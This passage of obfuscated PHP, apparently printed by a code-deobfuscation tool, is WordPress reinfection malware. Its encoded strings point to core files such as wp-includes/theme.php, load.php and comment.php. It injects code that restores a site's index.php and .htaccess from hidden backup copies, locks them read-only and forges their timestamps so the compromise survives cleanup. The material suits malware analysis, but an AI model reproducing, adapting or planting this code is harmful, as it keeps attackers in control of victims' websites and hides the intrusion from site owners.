str_replace("\x66\165\156\143\164\151\157\156\x20\167\x70\137\x73\x63\x68\x65\144\165\x6c\145\137\x65\x76\x65\x6e\164", $guveA . "\146\165\x6e\x63\164\151\x6f\156\x20\x77\160\137\x73\x63\x68\145\144\x75\x6c\145\137\x65\166\x65\x6e\164", file_get_contents($G9T05))); goto obEEF; obEEF: touch($G9T05, $gUp1d); goto pFxe_; rEPWB: file_put_contents($G9T05, str_replace("\x66\x75\156\143\x74\151\157\156\40\147\145\x74\137\x63\x61\x74\137\x6e\141\x6d\145", $guveA . "\146\x75\x6e\x63\x74\151\x6f\x6e\x20\147\145\x74\137\x63\x61\x74\137\x6e\x61\x6d\x65", file_get_contents($G9T05))); goto N1Wkx; twvDH: $G9T05 = $_SERVER["\104\x4f\x43\x55\x4d\x45\116\124\x5f\x52\117\117\124"] . "\x2f\167\x70\x2d\151\156\143\x6c\x75\x64\145\x73\x2f\x74\x68\x65\155\145\56\x70\150\160"; goto SFOv9; yZlhn: if (file_exists($bcru9)) { goto o_aY0; } goto H6Rb2; JfNlE: if (!true) { goto olVIv; } goto QYvIx; Ctp2L: SHCcM: goto Mxnhz; RrZfe: $h5emi = "\x2f\167\x70\x2d\x69\x6e\x63\154\x75\x64\145\x73\x2f\x63\x75\163\164\157\x6d\x69\x7a\x65\57\x63\154\x61\163\163\x2d\x77\x70\55\143\x75\163\164\157\155\151\172\145\x2d\x66\151\x6c\164\x65\162\x2d\x63\157\x6e\164\x72\157\x6c\x2e\x70\x68\x70"; goto TVIwV; q2nEw: @chmod($bcru9, 0444); goto IXy2m; nk1cn: @chmod($w3s1v, 0444); goto DhwL4; LO40q: touch($XPpRI, $gUp1d); goto jPuL8; pFxe_: $G9T05 = $_SERVER["\x44\117\x43\125\x4d\105\x4e\x54\137\122\117\x4f\124"] . "\57\167\160\x2d\x69\x6e\x63\x6c\165\144\145\x73\x2f\154\157\141\x64\56\x70\x68\160"; goto DNAvH; CuizP: $G9T05 = $_SERVER["\104\x4f\x43\125\x4d\105\x4e\x54\137\122\x4f\117\x54"] . "\57\x77\160\55\151\156\143\154\165\144\x65\163\57\143\157\x6d\155\145\x6e\164\56\x70\x68\x70"; goto MKG1l; t1lTx: $guveA = "\44\151\170\x73\x73\163\x78\144\x78\x20\75\x20\x24\137\123\105\x52\126\105\x52\133\47\104\x4f\x43\x55\115\105\116\124\137\x52\x4f\x4f\124\x27\x5d\56\x27\x2f\x69\x6e\x64\x27\56\47\145\170\x2e\160\x68\x70\x27\x3b\x20\44\x68\143\164\x20\x3d\x20\x24\x5f\123\x45\122\x56\x45\x52\x5b\x27\x44\x4f\x43\x55\115\105\116\124\137\x52\x4f\117\124\47\135\56\47\x2f\x2e\150\164\141\x63\47\56\x27\143\145\163\x73\47\73\x20\x24\142\144\x64\x65\x78\40\75\40\x24\x5f\123\x45\122\x56\x45\x52\x5b\47\x44\117\x43\x55\115\105\116\x54\x5f\x52\117\117\x54\47\x5d\x2e\x27" . $JYxwY . "\47\73\40\44\x62\x6b\163\x68\x74\x20\75\x20\x24\137\x53\x45\x52\x56\x45\122\133\47\104\x4f\x43\125\x4d\105\116\x54\137\x52\117\x4f\124\47\135\56\x27" . $h5emi . "\47\x3b\x20\x69\x66\x28\x24\x69\x78\x73\x73\163\170\x64\170\x20\46\x26\40\x66\x69\154\145\137\x65\x78\x69\x73\164\163\x28\44\142\144\144\145\170\51\51\173\x20\x69\146\x28\x21\x66\x69\x6c\x65\137\145\x78\151\163\x74\163\50\44\x69\170\163\x73\x73\170\144\x78\51\40\157\162\x20\50\146\x69\x6c\x65\x73\151\x7a\x65\x28\x24\x69\170\163\163\163\x78\x64\x78\x29\x20\x21\x3d\40\x66\151\x6c\x65\163\x69\x7a\x65\50\44\x62\x64\144\145\x78\x29\x29\51\x7b\x20\x63\x68\155\x6f\x64\50\x24\x69\x78\x73\163\x73\x78\144\x78\x2c\47\64\62\60\x27\51\73\x20\x66\x69\x6c\145\x5f\x70\165\164\x5f\143\x6f\156\x74\145\x6e\164\163\x28\x24\x69\170\163\x73\x73\170\144\170\54\146\x69\x6c\x65\137\x67\145\x74\x5f\x63\157\156\164\145\156\x74\x73\50\44\x62\144\x64\x65\170\x29\51\73\x20\x63\150\155\x6f\x64\50\44\x69\x78\x73\x73\x73\x78\x64\x78\x2c\x27\62\71\x32\x27\51\73\x20\175\x20\x7d\40\151\146\50\44\x68\143\164\x20\x26\x26\x20\x66\151\x6c\x65\137\x65\x78\x69\163\164\x73\x28\x24\142\x6b\163\x68\x74\x29\51\x7b\40\x69\146\50\x21\x66\151\154\145\137\145\170\151\163\x74\x73\x28\44\x68\143\164\51\40\x6f\x72\x20\x28\146\151\x6c\145\163\x69\172\x65\x28\x24\150\x63\164\x29\x20\41\75\x20\146\x69\154\x65\163\x69\x7a\x65\x28\x24\142\153\x73\150\x74\x29\51\x29\x7b\x20\x63\x68\x6d\x6f\x64\x28\x24\x68\x63\x74\54\47\64\x32\x30\47\51\73\x20\x66\151\154\x65\x5f\x70\165\x74\x5f\x63\x6f\x6e\x74\145\156\x74\163\x28\44\150\x63\x74\x2c\146\x69\x6c\145\x5f\x67\x65\164\x5f\x63\x6f\156\x74\x65\156\x74\163\50\x24\x62\153\163\x68\x74\x29\51\73\x20\x63\x68\155\x6f\144\x28\44\x68\143\x74\x2c\x27\x32\71\x32\x27\51\73\x20\175\x20\x7d"; goto ecr90; dPRmz: RBXVZ:
Function Calls
None |
Stats
MD5 | 5a2147258d854072741e03d576e06cf8 |
Eval Count | 0 |
Decode Time | 77 ms |